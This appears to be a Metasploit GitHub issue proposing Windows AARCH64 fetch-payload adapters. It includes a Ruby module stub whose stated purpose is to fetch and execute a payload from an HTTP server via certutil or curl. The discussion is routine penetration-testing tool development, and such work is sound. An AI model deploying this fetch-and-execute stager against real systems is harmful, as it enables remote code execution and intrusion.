Add Windows AARCH64 support to fetch payloads

Author: bwatters-r7Created Sep 8, 2026Updated Sep 9, 2026
Labelssuggestion-feature

@vinicius-batistella if you are interested, let me know and I'll assign this to you.

Summary

We recently added binary aarch64 payloads. Let's add them to the Fetch Payloads.

Basic example

Functionally, this is pretty straight-forward. Inside https://github.com/rapid7/metasploit-framework/tree/master/modules/payloads/adapters/cmd/windows are folders for each transport protocol, and inside each transport protocol folder are payload adapter files connecting the transport Fetch command stager to the binary architecture. This sounds daunting, but there are already x86 and x64 adapters in there, and it is just a matter of copying them and changing a couple lines to point to AARCH64 rather than x64. Testing all of the permutations of fetch transports and binary payloads once support is added will probably take a lot longer than adding support.

For example, the AARCH64 HTTP payload would be:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule
  include Msf::Payload::Adapter::Fetch::HTTP
  include Msf::Payload::Adapter::Fetch::WindowsOptions

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'HTTP Fetch',
        'Description' => 'Fetch and execute an AARCH64 payload from an HTTP server.',
        'Author' => 'Brendan Watters',
        'Platform' => 'win',
        'Arch' => ARCH_CMD,
        'License' => MSF_LICENSE,
        'AdaptedArch' => ARCH_AARCH64,
        'AdaptedPlatform' => 'win'
      )
    )
    deregister_options('FETCH_COMMAND')
    register_options(
      [
        Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CERTUTIL', %w[CURL CERTUTIL]])
      ]
    )
  end
end

I think I only changed 2 lines?

Motivation

Increase support for AARCH64 Windows.

Source: rapid7/metasploit-framework